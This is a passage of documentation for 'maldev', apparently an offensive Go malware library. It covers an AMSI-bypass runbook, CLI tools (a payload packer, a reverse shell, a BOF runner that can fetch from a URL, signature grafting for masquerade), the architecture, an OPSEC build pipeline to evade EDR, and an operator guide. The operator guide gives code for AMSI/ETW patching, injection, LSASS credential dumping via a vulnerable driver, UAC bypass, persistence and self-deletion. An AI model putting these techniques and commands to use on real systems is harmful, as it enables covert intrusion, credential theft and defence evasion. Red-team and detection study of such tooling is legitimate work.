HKLM\SOFTWARE\Microsoft\AMSI\Providers\*. Each subkey is a CLSID of another provider DLL.- if there are non-Defender providers: those are bypassing
amsi.dllentirely. Step 5.
- if there are non-Defender providers: those are bypassing
- Capture the loader child PID. When
clr.LoadAndExecutespawns a sub-process, get its PID and check Defender for detection events on that PID, not yours.- match: confirmed cause #2. See mitigation #2.
- Manual patching of provider DLLs (last resort) — same
prologue trick on the registered provider's
Scanfunction. Seeevasion/amsigodoc.
Mitigation
- Re-patch periodically. Wrap suspicious calls with
amsi.PatchAll(caller)immediately before them. Patches are idempotent (ADR-0002). - Patch every child you spawn. If your launcher chains to
PowerShell, inject
evasion/amsi.PatchAllbefore the script runs (PowerShell host process). - Compose
unhookfirst (see ntdll-unhooking). Defender's behavioural counters depend on ntdll hooks; remove them and you reduce the chance of re-arm. - Use
preset.Aggressivewhich adds ACG + BlockDLLs to prevent lateramsi.dllreloads.
Prevention
- Always
defera re-patch after anyLoadLibraryyou make. - Verify the patch is alive before any high-value AMSI call (the cost is 3 bytes of read, negligible).
- Avoid spawning child processes for sensitive operations — prefer in-process injection or reflective load.
Related
- Technique: evasion/amsi.
- Technique: evasion/preset.
- Runbook: Defender catch on dropper.
CLI tools
The
cmd/tree ships 6 operator binaries + a handful of research / dev / CI helpers. Most users only need the operator binaries — the rest exist to support packer research, in-VM testing, and CI workflows.
Operator binaries
Build them with go build -o <name> ./cmd/<name>; pass -h for the live
flag set. Cross-compile with GOOS=windows GOARCH=amd64 as usual.
| Tool | One-liner |
|---|---|
packer | Pack / unpack / bundle PE + ELF payloads with the SGN+LZ4 stub. |
bundle-launcher | Runtime dispatcher for packer bundle multi-target blobs. |
bof-runner | Standalone runner for Cobalt-Strike-compatible Beacon Object Files. |
cert-snapshot | Harvest donor Authenticode certificates for masquerade builds. |
rshell | Minimal reverse shell over c2/shell + c2/transport. |
sleepmask-demo | Demo harness comparing sleep masks under a concurrent scanner. (research) |
Research & dev helpers
Tools that don't belong on a target. Consolidated on a single page to keep the navigation honest:
- Research & dev helpers —
packer-vis,packerscope, the three-binarymemscanstack,hashgen,vmtest,test-report.
Conventions
- Every CLI accepts
-h/-helpand prints a one-screen usage. - File-path arguments are positional when there is one obvious in/out;
otherwise named flags (
-in,-out). - Verbose mode is
-v(never-verbose). - Each
main.gocarries a header docstring with the intent + an example; the per-tool page recaptures it and pins the flag set.
packer
Pack, unpack, and bundle PE/ELF payloads with the SGN+LZ4 stub.
Source: cmd/packer/ · godoc: pkg.go.dev/…/cmd/packer
Audience: operator · Platforms: Windows + Linux output, builds on any host
Synopsis
packer pack -in <file> -out <file> -format <blob|windows-exe|linux-elf> [options]
packer unpack -in <file> -out <file> -key <hex32>
packer bundle -out <file> -pl <file>:<vendor>:<min>-<max> [-pl ...] [-fallback exit|crash|first]
packer bundle -wrap <launcher> -bundle <blob> -out <exe>
Subcommands
pack
Wraps pe/packer.PackBinary. Produces a runnable binary that decrypts and
executes the original payload in-memory.
| Flag | Default | Meaning |
|---|---|---|
-in | — | Input payload (PE or ELF). |
-out | — | Packed output path. |
-format | blob | blob = raw encrypted blob (key to stdout). windows-exe / linux-elf = self-running stub-wrapped binary. |
-key | random | 32-byte AEAD key (hex). |
-keyout | stdout | Write key to file instead of stdout. |
-rounds | 3 | SGN polymorphic rounds (windows-exe / linux-elf). |
-seed | random | Decoder seed; pin for reproducible builds. |
-compress | off | LZ4 the payload before encryption. |
-antidebug | off | Embed anti-debug checks in the stub. |
-randomize | off | Randomise section names + stub layout. |
unpack
Inverse of pack -format blob. Reads the blob, decrypts with -key, writes
the original payload to -out.
bundle
Multi-target dispatch — one blob holds N payloads, each matched by CPUID vendor + Windows build range at runtime.
-pl <file>:<vendor>:<min>-<max> # vendor: intel | amd | * range: <num>-<num> or *-*
-fallback exit|crash|first # behaviour when no entry matches
Wrap into a runnable executable via -wrap <bundle-launcher.exe>.
Build
go build -o packer ./cmd/packer
Examples
# Pack a Windows EXE with anti-debug + compression
packer pack -in implant.exe -out packed.exe -format windows-exe \
-compress -antidebug -randomize
# Build a CPU-aware bundle dispatching by vendor
packer bundle -out app.bin \
-pl payload-intel.exe:intel:22000-99999 \
-pl payload-amd.exe:amd:22000-99999
# Wrap the bundle inside the launcher
packer bundle -wrap bundle-launcher.exe -bundle app.bin -out app.exe
See also
- Technique:
pe/packer. - Runbook: Defender catch on dropper.
- Companion tool:
bundle-launcher.
bundle-launcher
Runtime launcher for C6 multi-target bundles built by
packer bundle.
Source: cmd/bundle-launcher/ · godoc: pkg.go.dev/…/cmd/bundle-launcher
Audience: operator · Platforms: Windows + Linux
What it does
Generic single-binary launcher that:
- Reads its own image via
os.Executable(). - Validates the trailing
MLDV-ENDfooter (packer.ExtractBundle). - Matches a payload against host CPUID vendor + Windows build (
packer.MatchBundleHost). - Decrypts the matched payload (
packer.UnpackBundle). - Executes plaintext from a
memfd_createFD (Linux, zero-disk) or temp file (Windows).
Exits cleanly when no entry matches and FallbackBehaviour = BundleFallbackExit.
Build
go build -o bundle-launcher.exe ./cmd/bundle-launcher
Example
# 1. Build the launcher once
go build -o bundle-launcher.exe ./cmd/bundle-launcher
# 2. Build a multi-target bundle
packer bundle -out bundle.bin \
-pl payload-w11.exe:intel:22000-99999 \
-pl payload-w10.exe:amd:10000-19999 \
-pl fallback.exe:*:*-*
# 3. Wrap the bundle inside the launcher
packer bundle -wrap bundle-launcher.exe -bundle bundle.bin -out app.exe
# 4. Ship app.exe — runtime dispatches per host
./app.exe
See also
- Technique:
pe/packerbundle mode. - Companion:
packer.
bof-runner
Standalone runner for Beacon Object Files (CS-compatible COFF).
Source: cmd/bof-runner/ · godoc: pkg.go.dev/…/cmd/bof-runner
Audience: operator + researcher · Platforms: Windows only
Synopsis
bof-runner -file <path.o> [-arg-int N] [-arg-string S] [-arg-short N] [-arg-bytes <hex>]
bof-runner -url <https://…> [same args]
What it does
Loads a Cobalt-Strike-style COFF object into the current process and runs its
go entrypoint. Arguments are packed in BeaconDataPack format and consumed by
the BOF via BeaconDataInt / DataShort / DataExtract. Validated against
the public BOF ecosystem (TrustedSec SA, Outflank, FortyNorth, CS community
kit). Constraints documented in
runtime/bof-loader.
Build
GOOS=windows GOARCH=amd64 go build -o bof-runner.exe ./cmd/bof-runner
Examples
:: Run an enumeration BOF with two args (int + string)
bof-runner.exe -file whoami.o -arg-int 1 -arg-string "DOMAIN\user"
:: Fetch and run from a URL (research / sandbox use)
bof-runner.exe -url https://example.invalid/payload.o
See also
- Technique:
runtime/bof-loader. - Glossary: BOF.
cert-snapshot
Harvest donor Authenticode certificates for masquerade builds.
Source: cmd/cert-snapshot/ · godoc: pkg.go.dev/…/cmd/cert-snapshot
Audience: operator (build host) · Platforms: Windows (donors must be installed)
Synopsis
cert-snapshot -out <dir>
What it does
Dumps the Authenticode WIN_CERTIFICATE blob of every donor PE in
pe/masquerade/internal/donors.All to <dir>/<id>.bin. Run once on a host
that has the donors installed; ship the resulting blobs alongside your build
toolchain so subsequent builds can graft signatures without the donors
present.
// later, on any build host:
raw, _ := os.ReadFile("certs/claude.bin")
cert.Write("implant.exe", &cert.Certificate{Raw: raw})
[!WARNING] The grafted signature is not cryptographically valid — the PE hash differs from the donor. This fools "has a signature blob?" static checks and the file-properties UI, nothing more.
Build
go build -o cert-snapshot ./cmd/cert-snapshot
Example
mkdir -p ignore/certs
cert-snapshot -out ./ignore/certs
ls ignore/certs/
# acrobat.bin chrome.bin claude.bin notepadpp.bin …
See also
- Technique:
pe/cert. - Glossary: Donor cert, WIN_CERTIFICATE.
rshell
Minimal reverse shell over
c2/shell+c2/transport.
Source: cmd/rshell/ · godoc: pkg.go.dev/…/cmd/rshell
Audience: operator · Platforms: Windows + Linux
Synopsis
rshell -host <ip> -port <port> [-tls] [-retry <seconds>]
| Flag | Default | Meaning |
|---|---|---|
-host | — | C2 listener host. |
-port | — | C2 listener port. |
-tls | off | Wrap the transport in TLS (uses c2/cert if no cert provided). |
-retry | 0 | Reconnect delay in seconds (0 = no retry). |
Build
GOOS=windows GOARCH=amd64 go build -o rshell.exe ./cmd/rshell
Example
# On the operator side, any TCP listener (nc / metasploit / c2/transport server)
nc -lvnp 4444
# On target:
rshell.exe -host 10.0.0.5 -port 4444 -tls -retry 30
See also
- Techniques:
c2/transport,c2/shell.
sleepmask-demo
Demo harness for evaluating sleep-mask techniques against a memory scanner.
Source: cmd/sleepmask-demo/ · godoc: pkg.go.dev/…/cmd/sleepmask-demo
Audience: researcher / detection engineer · Platforms: Windows
What it does
Runs the evasion/sleepmask masking scenarios in-process while a concurrent
scanner reads the heap, so you can compare detection rates per mask
(XOR / RC4 / AES-CTR / Ekko). Not an operational tool — purpose is to
empirically validate a mask before wiring it into a payload.
Build
GOOS=windows GOARCH=amd64 go build -o sleepmask-demo.exe ./cmd/sleepmask-demo
Example
sleepmask-demo.exe -h
See also
- Technique:
evasion/sleepmask.
Research & dev helpers
Tools shipped under
cmd/that are not part of an operator loadout. They support packer research, in-VM inspection, build reproducibility, and CI. Listed here so you can find them, not because they ship to a target.
Packer research
| Tool | Source | Purpose |
|---|---|---|
packer-vis | cmd/packer-vis/ | Visualise a packed binary — entropy heatmap, section layout, bundle wire-format ASCII art. Use when iterating on stub layout or auditing IOC drift. |
packerscope | cmd/packerscope/ | Defender-side companion: detects + dumps + extracts maldev artefacts symmetrically with packer. Use for detection engineering. |
Memory inspection (memscan stack)
In-VM memory scanner used by tests + research workflows. Three binaries work together — none ship to a real target.
| Tool | Source | Purpose |
|---|---|---|
memscan-server | cmd/memscan-server/ | HTTP/JSON API exposed inside the target VM for memory queries. |
memscan-harness | cmd/memscan-harness/ | Spawns sacrificial processes against which a scan is run. |
memscan-mcp | cmd/memscan-mcp/ | Model Context Protocol adapter — relays AI tool calls to memscan-server. |
See memscan stack — memory notes.
Build / CI helpers
| Tool | Source | Purpose |
|---|---|---|
hashgen | cmd/hashgen/ | Pre-compute ROR-13 / FNV-1a API-name hashes for shellcode embedding. Build-time helper. |
vmtest | cmd/vmtest/ | Run the Go test suite inside isolated VMs (VirtualBox + libvirt auto-detected). See Testing. |
test-report | cmd/test-report/ | Ingest go test -json streams, surface flaky tests + coverage gaps. |
Truly internal (internal/tools/)
These don't even live in cmd/ because they are CI/repo-only:
build-fixture-winres, coverage-merge, docgen, lsass-dump-test,
vm-test-memscan. They are listed here for completeness only — see
their respective Go files for usage.
Architecture
Layered Design
maldev follows a strict bottom-up dependency model. Each layer only depends on layers below it.
graph TD
subgraph "Layer 0 — Pure Go (no OS calls)"
crypto["crypto/"]
encode["encode/"]
hash["hash/"]
random["random/"]
useragent["useragent/"]
end
subgraph "Layer 1 — OS Primitives"
api["win/api<br>DLL handles, PEB walk, API hashing"]
syscall["win/syscall<br>Direct/Indirect syscalls, HashGate"]
ntapi["win/ntapi<br>Typed NT wrappers, handle enum"]
token["win/token<br>Token manipulation"]
privilege["win/privilege<br>Elevation helpers"]
impersonate["win/impersonate<br>Thread impersonation"]
version["win/version<br>Version detection"]
domain["win/domain<br>Domain membership"]
kerneldriver["kernel/driver<br>BYOVD primitives (Reader/Writer/Lifecycle)"]
end
subgraph "Layer 2 — Techniques"
inject["inject/<br>15 injection methods"]
evasion["evasion/<br>active evasion (amsi, etw, unhook, sleepmask, callstack, kcallback, …)"]
recon["recon/<br>read-only discovery (antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network)"]
cleanup["cleanup/<br>memory, files, timestamps, ads, bsod"]
pe["pe/<br>parse, strip, morph, srdi, cert, masquerade, imports"]
runtime["runtime/<br>in-process loaders (clr, bof)"]
process_tamper["process/tamper/<br>hideprocess, herpaderping, fakecmd, phant0m"]
process["process/<br>enum, session"]
ui["ui/<br>MessageBox + sounds"]
credentials["credentials/<br>lsassdump (LSASS dump + PPL unprotect)"]
privesc["privesc/<br>uac (4 bypass) + cve202430088 (kernel LPE)"]
persistence["persistence/<br>registry, startup, scheduler, service, lnk, account"]
end
subgraph "Layer 3 — Orchestration"
shell["c2/shell<br>Reverse shell + state machine"]
meterpreter["c2/meterpreter<br>Metasploit staging"]
transport["c2/transport<br>TCP, TLS, uTLS, Malleable HTTP"]
cert["c2/cert<br>Certificate generation"]
end
%% Dependencies
api --> hash
syscall --> api
ntapi --> api
inject --> api
inject --> syscall
evasion --> api
evasion --> syscall
evasion --> kerneldriver
kerneldriver --> api
credentials --> kerneldriver
privesc --> ntapi
privesc --> token
privesc --> inject
process_tamper --> api
shell --> transport
shell --> evasion
meterpreter --> transport
meterpreter --> inject
meterpreter --> useragent
Caller Pattern
The *wsyscall.Caller is the central OPSEC mechanism. Any function that calls NT syscalls accepts an optional Caller parameter:
flowchart LR
A[Your Code] --> B{Caller?}
B -->|nil| C[Standard WinAPI<br>kernel32 → ntdll]
B -->|WinAPI| C
B -->|NativeAPI| D[ntdll directly]
B -->|Direct| E[Syscall stub<br>in RW→RX page]
B -->|Indirect| F[Jump to ntdll<br>syscall;ret gadget]
E --> G[SSN Resolver]
F --> G
G --> H{Resolver Type}
H -->|HellsGate| I[Read prologue]
H -->|HalosGate| J[Scan neighbors]
H -->|TartarusGate| K[Follow JMP hook]
H -->|HashGate| L[PEB walk + ROR13]
Evasion Composition
Evasion techniques compose via the evasion.Technique interface:
flowchart TD
A[Configure Techniques] --> B["techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(),
}"]
B --> C["evasion.ApplyAll(techniques, caller)"]
C --> D{Each technique}
D --> E[AMSI: Patch prologue]
D --> F[ETW: Patch 6 functions]
D --> G[Unhook: Restore .text]
E --> H[Ready for injection]
F --> H
G --> H
Memory Protection Lifecycle
All injection methods follow the RW→RX pattern (never RWX):
stateDiagram-v2
[*] --> Allocate: VirtualAlloc(PAGE_READWRITE)
Allocate --> Write: Copy shellcode
Write --> Protect: VirtualProtect(PAGE_EXECUTE_READ)
Protect --> Execute: CreateThread / APC / Callback
Execute --> Cleanup: WipeAndFree / Sleep Mask
Cleanup --> [*]
state "Sleep Mask Cycle" as SM {
[*] --> Encrypt: XOR + PAGE_READWRITE
Encrypt --> Sleep: time.Sleep / BusyWaitTrig
Sleep --> Decrypt: XOR + Restore original
Decrypt --> [*]
}
Execute --> SM: Between beacons
SM --> Execute: Wake up
Per-Package Quick-Reference
One-line "what's in here" for every shipping package, grouped by layer. Click any package name to jump to its area-doc or technique page.
Layer 0 — Pure Go (no OS calls)
| Package | Surface |
|---|---|
crypto/ | AES-GCM, ChaCha20, RC4, XOR, TEA/XTEA, S-box, matrix, arith — payload encryption + obfuscation primitives |
encode/ | Base64 (std + URL), UTF-16LE, PowerShell -EncodedCommand, ROT13 |
hash/ | MD5/SHA1/SHA256/SHA512, ROR13 (API hashing), ssdeep, TLSH |
random/ | Crypto-secure random bytes, XOR-shift PRNG |
useragent/ | Browser-realistic User-Agent strings |
Layer 1 — OS Primitives
| Package | Surface |
|---|---|
win/api | DLL handles (User32, Kernel32, …), PEB walk, API hashing |
win/syscall | Direct + Indirect syscalls, HashGate lookup |
win/ntapi | Typed Nt* wrappers, handle enumeration |
win/token | Token open/duplicate/info |
win/privilege | Elevation helpers (SeDebugPrivilege, …) |
win/impersonate | Thread impersonation |
win/version, win/domain | Version + domain membership |
kernel/driver | KernelReader / KernelReadWriter BYOVD interfaces (rtcore64 impl) |
process/enum, process/session | Process enumeration + session helpers |
Layer 2 — Techniques (active)
| Package | Surface |
|---|---|
evasion/amsi | PatchScanBuffer, PatchOpenSession, All |
evasion/etw | EtwEventWrite patch, EtwTi patch, All |
evasion/unhook | Restore ntdll text section |
evasion/sleepmask | Ekko, Foliage, multi-region rotation |
evasion/callstack | SpoofCall synthetic frames |
evasion/kcallback | Enumerate, Remove, Restore (BYOVD) |
evasion/preset | Apply, ApplyAll orchestration |
kernel/driver/rtcore64 | RTCore64 BYOVD driver lifecycle (moved out of evasion/ — Layer 1 BYOVD primitive) |
evasion/stealthopen | Opener interface + transactional NTFS |
process/tamper/fakecmd | PEB CommandLine spoof |
process/tamper/hideprocess | Process Hacker / Explorer in-memory patch |
process/tamper/phant0m | Suspend EventLog threads |
recon/* | antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network |
inject/ | 15 injection methods (CRT, EarlyBird, ETW thread, KernelCallbackTable, ModuleStomp, NtQueueApcEx, RemoteThread, SectionMap, ThreadHijack, ThreadPool, …) |
pe/* | parse, strip, morph (UPX), srdi, cert, masquerade, imports |
cleanup/* | memory wipe, self-delete, timestomp, ADS |
runtime/clr | In-process .NET CLR host |
runtime/bof | Beacon Object File loader |
credentials/lsassdump | LSASS minidump producer + PPL bypass |
credentials/sekurlsa | MINIDUMP → MSV1_0 NT-hash extractor (cross-platform) |
privesc/uac | 4 UAC bypass primitives + EventVwrLogon alt-creds variant |
privesc/cve202430088 | CVE-2024-30088 kernel TOCTOU → SYSTEM token swap |
Layer 2 — Post-exploitation
| Package | Surface |
|---|---|
persistence/registry | Run, RunOnce, image-file-execution-options |
persistence/startup | .lnk drop in user/all-users Startup |
persistence/scheduler | schtasks wrapper with trigger options |
persistence/service | SCM service install (auto-start / on-demand / kernel-driver) |
persistence/lnk | Shortcut creation with hidden window + minimised state |
persistence/account | Local user / group manipulation via NetUserAdd / NetLocalGroupAddMembers |
collection/clipboard | ReadText, Watch |
collection/keylog | Low-level WH_KEYBOARD_LL hook + Ctrl+V capture |
collection/screenshot | Per-monitor + virtual-desktop PNG capture |
collection/ads | NTFS Alternate Data Streams |
Layer 3 — Orchestration
| Package | Surface |
|---|---|
c2/shell | Reverse-shell state machine + PPID-spoofer |
c2/meterpreter | Metasploit reverse-staging (TCP/HTTP/HTTPS/TLS) |
c2/transport | TCP, TLS, uTLS, malleable HTTP, named-pipe |
c2/multicat | Operator-side multi-session listener |
c2/cert | Self-signed cert generation |
Build Pipeline
flowchart LR
A[Source Code] --> B[garble -literals -tiny]
B --> C[go build -trimpath -ldflags='-s -w']
C --> D[pe/strip.Sanitize]
D --> E[Optional: UPX pack]
E --> F[pe/morph.UPXMorph]
F --> G[Final Binary]
style B fill:#f96
style D fill:#f96
style F fill:#f96
OPSEC Build Pipeline
Building maldev implants for operational use requires stripping Go-specific artifacts that EDR/AV products use for detection.
Quick Start
# Install garble (one-time)
make install-garble
# OPSEC release build
make release BINARY=payload.exe CMD=./cmd/rshell
# Debug build (with logging)
make debug BINARY=debug.exe CMD=./cmd/rshell
What Gets Stripped
| Artifact | Detection Risk | Mitigation |
|---|---|---|
.pclntab (Go PC-line table) | Critical — single most reliable Go identifier | garble randomizes it |
Package paths (github.com/oioio-space/maldev/inject) | High — static YARA rules | garble + -trimpath |
String literals ("NtAllocateVirtualMemory") | High — signature fodder | garble -literals + CallByHash |
| Symbol table | Medium — function names visible in debugger | -ldflags="-s" strips it |
| DWARF debug info | Medium — source file references | -ldflags="-w" strips it |
| Build ID | Low — links to build environment | -buildid= empties it |
| Console window | Low — visible to user | -H windowsgui hides it |
| Runtime panic strings | Low — "goroutine", "fatal error" | garble -tiny removes them |
Build Modes
Development (default)
go build -trimpath -ldflags="-s -w" -o dev.exe ./cmd/rshell
- Symbols stripped, debug info stripped, paths trimmed
- Still identifiable as Go (pclntab intact, strings visible)
- Use for: testing, development, non-operational builds
Release (OPSEC)
CGO_ENABLED=0 garble -literals -tiny -seed=random \
build -trimpath -ldflags="-s -w -H windowsgui -buildid=" \
-o payload.exe ./cmd/rshell
- garble randomizes all symbols and type names
-literalsencrypts all string literals (decrypted at runtime)-tinyremoves panic/print support strings-seed=randomensures each build is unique- Significantly harder to identify as Go or attribute to maldev
Debug (with logging)
go build -trimpath -tags=debug -ldflags="-s -w" -o debug.exe ./cmd/rshell
- Enables
internal/logreal output (slog to stderr) - Use for: troubleshooting in controlled environments
- Never deploy debug builds operationally — log strings are in the binary
CallByHash: Eliminating Function Name Strings
Even with garble, Caller.Call("NtAllocateVirtualMemory", ...) leaves function name strings in the binary because garble doesn't encrypt function arguments that are computed at runtime.
Solution: Use CallByHash with pre-computed constants:
// BAD — "NtAllocateVirtualMemory" appears in binary
caller.Call("NtAllocateVirtualMemory", ...)
// GOOD — only 0xD33BCABD (uint32) in binary
caller.CallByHash(api.HashNtAllocateVirtualMemory, ...)
Pre-computed hashes are in win/api/resolve_windows.go:
| Function | Hash |
|---|---|
NtAllocateVirtualMemory | 0xD33BCABD |
NtProtectVirtualMemory | 0x8C394D89 |
NtCreateThreadEx | 0x4D1DEB74 |
NtWriteVirtualMemory | 0xC5108CC2 |
LoadLibraryA | 0xEC0E4E8E |
GetProcAddress | 0x7C0DFCAA |
For functions not in the pre-computed list, use hash.ROR13(name) at development time and hardcode the result.
garble Reference
garble is the only maintained Go obfuscator compatible with recent Go versions.
# Install
go install mvdan.cc/garble@latest
# Flags
garble [flags] build [go build flags]
# Key flags:
# -literals Encrypt string literals
# -tiny Remove extra runtime info
# -seed=random Random obfuscation seed per build
# -debugdir=dir Dump obfuscated source for inspection
Limitations:
- Increases binary size ~10-20% (encrypted strings + decryption stubs)
- Slightly slower startup (string decryption)
-tinyremovesfmt.Print/panicsupport — ensure your code handles errors viaerrorreturns, not panics- Cannot obfuscate the Go runtime itself (goroutine scheduler, GC)
Post-Build Verification
After building, verify OPSEC quality:
# Check for Go runtime strings
strings payload.exe | grep -iE "goroutine|runtime\.|GOROOT|go1\." | wc -l
# Target: 0 with garble -tiny
# Check for maldev package paths
strings payload.exe | grep -i "maldev\|oioio" | wc -l
# Target: 0 with garble
# Check for NT function names
strings payload.exe | grep -iE "NtAllocate|NtProtect|NtCreate|NtWrite" | wc -l
# Target: 0 with CallByHash
# Check for RWX memory (should not exist in stubs)
# Run under a debugger and check VirtualAlloc calls for PAGE_EXECUTE_READWRITE
Architecture Decision Records (ADRs)
Short notes that capture why maldev is shaped the way it is. Each ADR has the same minimal structure (Context → Decision → Consequences) so a reader can answer "why was X chosen over Y?" in two minutes.
Pattern from Michael Nygard's original ADR proposal — adopted by Spotify, ThoughtWorks, Kubernetes, and many others.
Why ADRs
Code shows what we built. godoc shows how to call it. ADRs show why the alternatives were rejected. Without them, every new contributor (or you in 6 months) re-litigates the same choices.
Examples of questions ADRs answer:
- Why does every NT* call accept an optional
*wsyscall.Caller? - Why does the packer expose 10 modes instead of 1 with flags?
- Why mdBook and not Docusaurus?
- Why
examples/at top-level and notcmd/examples/? - Why is the API ref godoc-only?
Template
# ADR-NNNN — Short title
**Status:** proposed | accepted | superseded by ADR-MMMM
**Date:** YYYY-MM-DD
## Context
What forces are at play? What are the constraints? What did we
already try? Cite the issue / PR / discussion that triggered the
decision.
## Decision
The choice in one paragraph. Imperative voice: "We will use X."
## Consequences
- Positive: what we gain.
- Negative: what we lose, what we'll have to live with.
- Neutral: behavioural changes that aren't clearly pro or con.
## Alternatives considered
- **Option A** — why rejected.
- **Option B** — why rejected.
## References
Links to issues / PRs / external materials.
Index
ADRs are sequentially numbered, never renumbered, never deleted (superseded ADRs stay readable so the history is traceable).
| # | Title | Status |
|---|---|---|
| 0001 | The wsyscall.Caller pattern | accepted |
| 0002 | godoc-only API reference | accepted |
| 0003 | mdBook over Docusaurus (for now) | accepted |
| 0004 | Diátaxis-pragmatic, not Diátaxis-pure | accepted |
Adding a new ADR
- Copy the template above into
NNNN-short-title.md(next sequential number). - Fill the sections — keep it short (≤2 pages typical).
- Add a row to the index table above.
- Open a PR. ADRs get reviewed like code; the discussion in the PR is part of the record.
Anti-patterns
- Don't write speculative ADRs. Capture decisions you've actually made, not options you're still considering.
- Don't rewrite old ADRs. If a decision is reversed, write a new ADR that supersedes the old one. The history is the point.
- Don't put "why we chose X" content inside technique pages. Technique pages explain what and how. ADRs explain why.
For operators (red team)
You are running an engagement. You want chains that compose, payloads that land, and OPSEC that holds. This page walks the curated reading order.
TL;DR
Six packages — recon → evasion → inject → sleepmask → collection
→ cleanup — share one *wsyscall.Caller.
Plug it once, every package below it inherits the syscall stealth.
30-minute path: a working implant
[!IMPORTANT] Run from a VM. The intrusive packages call real APIs against the live OS. See vm-test-setup.md for the lab.
1. Pick your syscall stance
| Stance | Method | Trade-off |
|---|---|---|
| Quietest | MethodIndirectAsm + Chain(NewHashGate(), NewHellsGate()) | Go-asm stub (no heap stub, no VirtualProtect cycle), ROR13-resolved SSN, randomised gadget inside ntdll |
| Quiet, heap stub | MethodIndirect + Chain(NewHashGate(), NewHellsGate()) | Heap stub byte-patched + RW↔RX per call; same ntdll gadget end-effect |
| Quiet, simpler | MethodDirect + NewHellsGate() | Direct syscall instruction, no fallback. Triggers some EDR call-stack heuristics |
| Loud, debug | MethodWinAPI (default) | Standard CRT call. Useful when iterating; drop before delivery |
caller := wsyscall.New(
wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()),
)
2. Disable in-process defences
Apply the evasion preset for "modern Windows endpoint":
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(), // T1562.001
etw.All(), // T1562.001
unhook.Classic("ntdll.dll"), // T1562.001 — restores 4C 8B D1 B8
}, caller)
See docs/techniques/evasion/ for the full menu (HW breakpoints, callstack spoof, ACG, BlockDLLs, kernel callback removal).
3. Inject payload
Choose a method by OPSEC class:
| Method | OPSEC | When |
|---|---|---|
| SectionMapInject | quiet | Default for remote injection |
| PhantomDLLInject | very-quiet | Targets that allow NtCreateSection(SEC_IMAGE) |
| ModuleStomp | quiet | Local-only; reuses an unused-module RX page |
| ExecuteCallback (TimerQueue) | quiet | Local-only; no thread creation, no APC |
| CreateRemoteThread | noisy | Quick-and-dirty remote |
Each accepts the same *wsyscall.Caller and stealthopen.Opener for file
read stealth where applicable.
4. Sleep masking between callbacks
mask := sleepmask.New(sleepmask.StrategyEkko, caller)
mask.Sleep(60 * time.Second) // bytes XOR-encrypted, decrypted on wake
Three strategies:
StrategyEkko— ROP chain, encrypts current thread stack.StrategyFakeJmp— JIT-rewrites a return-to-mask spot.StrategyTimerQueue— pure-userland timer fall-back.
See sleep-mask.md.
5. Cleanup at end-of-mission
selfdelete.RunWithScript() // ADS rename + batch + reboot — T1070.004
memory.WipeAndFree(secret) // overwrite + VirtualFree
timestomp.CopyFrom(target, "C:/Windows/System32/notepad.exe") // T1070.006
Common operator scenarios
Credential harvest
// 1. PPL unprotect via BYOVD (RTCore64).
drv, _ := rtcore64.New(rtcore64.Config{ServiceName: "rtcore"})
drv.Install()
defer drv.Uninstall()
// 2. Dump LSASS.
dump, _ := lsassdump.Dump(caller, drv)
// 3. Parse without dropping a .dmp file.
hashes, _ := sekurlsa.Parse(dump)
→ full chain in docs/techniques/credentials/.
Persistence
// Quietest: Registry Run key
mech := registry.NewRunKeyMechanism("Updater", "C:/Users/Public/u.exe", registry.HKCU)
mech.Install()
| Mechanism | Quiet | Notes |
|---|---|---|
persistence/registry | ✅ | HKCU writable as user |
persistence/startup (LNK) | ✅ | Drops a .lnk; AV scans the target |
persistence/scheduler | ⚠️ | COM ITaskService leaves event-log entry |
persistence/service | ❌ | Requires SYSTEM, very noisy |
Privilege escalation
if uac.SilentCleanup().Run() == nil {
// re-launched as High IL — chain continues
}
Four bypasses: FODHelper, SLUI, SilentCleanup, EventVwr. All are
T1548.002. See privesc/uac.
Lateral movement
This library focuses on the target side. For lateral mvmt primitives
(SMB, WMI, WinRM) wire up your own — c2/transport gives the
re-establishment plumbing.
Build pipeline (OPSEC delivery)
opsec-build.md covers the full pipeline. Quick recipe:
# 1. Compile-time PE masquerade as cmd.exe
go build -tags 'masquerade_cmd' -trimpath -ldflags='-s -w' -o impl.exe
# 2. Strip Go pclntab + sanitize section names
go run github.com/oioio-space/maldev/cmd/sleepmask-demo \
-in impl.exe -out impl-clean.exe
# 3. Morph (random section names + UPX-style header)
# (use pe/morph for runtime; for delivery, do it pre-flight)
OPSEC checklist
-
All packages share one
*wsyscall.Callerinstance — never new one per call. -
evasion.ApplyAll(...)runs before any injection / file read. -
sleepmaskenabled between operator callbacks. -
Build with
-trimpath -ldflags='-s -w' -tags <masquerade_preset>. -
pe/strip+pe/morphpost-build. -
No write to
C:\Users\Publicor%TEMP%unless absolutely needed. -
Cleanup chain wired into shutdown path:
selfdeletelast.
Where to next
- Composed examples — basic implant, evasive injection, full attack chain.
- docs/techniques/ — every technique with API reference.
- Researcher path — if you want to know why the Caller pattern exists, or how the kernel-callback removal actually works.
For researchers (R&D)
You want to understand. This page walks the architecture, the design patterns that make every package compose, and the references behind each technique.
TL;DR
The library is built around one composable abstraction: every
syscall-issuing package accepts an optional
*wsyscall.Caller. The caller
encapsulates the calling method (WinAPI / NativeAPI / Direct / Indirect)
and the SSN-resolution strategy (chain of gates: HellsGate → HalosGate →
Tartarus → HashGate). This is the maldev "Caller pattern" — read it
first.
Architecture
flowchart TD
L0["Layer 0 (pure Go)<br>crypto · encode · hash · random · useragent"]
L1["Layer 1 (OS primitives)<br>win/api · win/syscall · win/ntapi · win/token · win/privilege<br>process/enum · process/session · kernel/driver"]
L2T["Layer 2 (techniques)<br>evasion/* · recon/* · inject · pe/* · runtime/*<br>cleanup/* · process/tamper/* · privesc/*"]
L2P["Layer 2 (post-ex)<br>persistence/* · collection/* · credentials/*"]
L3["Layer 3 (orchestration)<br>c2/transport · c2/shell · c2/meterpreter · c2/cert"]
L0 --> L1
L1 --> L2T
L1 --> L2P
L2T --> L3
L2P --> L3
Detailed dependency rules and the complete package matrix: architecture.md.
The Caller pattern
Every package that issues syscalls follows this signature:
func DoThing(args ..., caller *wsyscall.Caller) (..., error)
A nil caller falls back to WinAPI (the standard CRT path — easy
debugging, noisy in production). A non-nil caller routes the call through
the chosen method:
sequenceDiagram
participant Pkg as "package (e.g. amsi)"
participant Caller as "*wsyscall.Caller"
participant Resolver as "SSN Gate Chain"
